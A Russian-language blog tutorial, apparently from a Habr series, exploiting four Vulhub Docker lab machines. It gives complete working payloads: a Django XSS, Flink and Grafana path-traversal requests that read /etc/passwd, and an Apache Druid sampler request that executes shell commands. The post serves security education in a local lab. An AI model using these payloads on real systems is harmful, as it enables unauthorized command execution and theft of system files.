Всех приветствую, читатели Хабра!
Четвертая часть анализа защищенности веб-приложений Vulnhub.
Ссылки на первые три части, советую ознакомиться (в первой части детально разбираю где скачать образы уязвимых машин, как их поднять на докер, и многое другое):
https://habr.com/ru/articles/894508/
https://habr.com/ru/articles/895092/
https://habr.com/ru/articles/895856/
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением.
Алгоритм атаки будет следующий:
Запуск виртуальной машины (уязвимого веб-приложения) в сетевом интерфейсе
Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели
Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации.
Теперь снова практика. В первом примере я вновь разберу как запустить виртуальную машину (уязвимое веб-приложение) на локальном хосте (хотя в моем случае это в основном бриджи).
1) Первая машина django, уязвимость CVE-2017-12794
Заходим в папку с уязвимым веб-приложением (тип файла *.yml), собираем образ, запускаем, смотрим сетевой интерфейс следующими командами в терминале (терминал должен быть открыт в этой же папке):
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Сканируем цель
nmap 172.20.0.1
Заходим в браузере по адресу 172.20.0.1:8000 и получаем ошибку 404 (хотя приложение запущенно, это видно по интерфейсу веб-приложения)
К адресу добавляем строчку после ip:порта
/create_user/?username=
Сервер ответил
Теперь суть уязвимости. В адресной строке мы можем добавить код скрипта javascript в данном случае
<script>alert(1)</script>
После чего нажимаем enter и скрипт выполняется
Или вот пример
Теперь о том что я сделал. Я внедрил свой собственный код (или даже два) <script>alert(1)</script> в уязвимое веб-приложение, и приложение выполнило мой код. Естественно, что в данном случае код был безобидный. Но веб-приложение выполнило код, а злоумышленник может внедрить и вредоносный код. Такой тип атаки называется XSS.
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода». (https://ru.wikipedia.org/wiki/Межсайтовый_скриптинг)
2) Вторая машина flink, уязвимость CVE-2020-17519
Не забываем в предидущей диреткории в терминале "уронить" предидущие виртуальные машины (на бриджах в моем случае) командой в терминале:
sudo docker-compose down
В новой директории с новой уязвимой машиной собираем и запускаем образ (и для удобства смотрим сетевой интерфейс):
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Сканируем цель
nmap 172.21.0.1
В адресной строке заходим по адресу 172.21.0.1:8081, видим веб-интерфейс
Далее к адресу добавляем строчку
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Или в моем случае:
http://172.21.0.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
После чего получаем доступ к файлу /etc/passwd уязвимой машины
Еще раз напомню, что доступ к вышеупомянутому файлу - серьезная брешь в безопаности веб-приложения. Повторенье - мать учения, как говориться: /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация)
Альтернативное решение
Я нашел и другой способ решения
Для этого в терминале я ввел следующую команду
curl http://172.21.0.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
И получил такой же вывод
3) Третья машина apache-druid, уязвимость CVE-2021-25646
Снова роняем предидущую виртуальную машину, снова собираем, запускаем новую виртуальную машину, проверяем интерфейс (все команды, и какие где необходимо ввести смотри выше, или в предидущих статьях).
Сканируем
nmap 172.17.0.1
Далее заходим в инструмент burp suite, заходим во вкладку Proxy, нажимаем "перехват" (кнопка синим цветом на скриншоте ниже), открыть браузер, в браузере в адресной строке вводим адрес 172.17.0.1:8888
Пакет перехвачен, отправляем его в репитер (правой кнопкой мыши нажимаем на пакет Send to repeater):
В репитере видим реквест
После чего реквест необходимо подменить вот таким содержимым:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
После чего отправляем, нажимая кнопку Send. И от сервера приходит ответ
В ответе находим вот такие строчки
Сервер вернул идентификаторы пользователей и групп, что также является уязвимостью.
4) Четвертая машина grafana, уязвимость CVE-2021-43798
Снова проделываем все те же действия - роняем старую машину, поднимаем новую, смотрим сетевой интерфейс.
Сканируем цель
nmap 172.22.0.1
Заходим в браузер по адресу: 172.22.0.1:3000
Видим веб приложение. Закроем браузер.
Теперь снова перехватим пакет с burp suite. Снова открываем burp вкладку прокси, нажимаем перехват трафика, открываем браузер вводим 172.22.0.1:3000, переходим в burp щелкаем правой кнопкой мыши по пакету, нажимаем отправить в репитер:
В репитере видим реквест
Подменяем его таким содержимым
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 172.22.0.1:3000
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
После чего отправляем запрос серверу (Send) и сервер отвечает:
Снова доступ к файлу /etc/passwd.
А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!
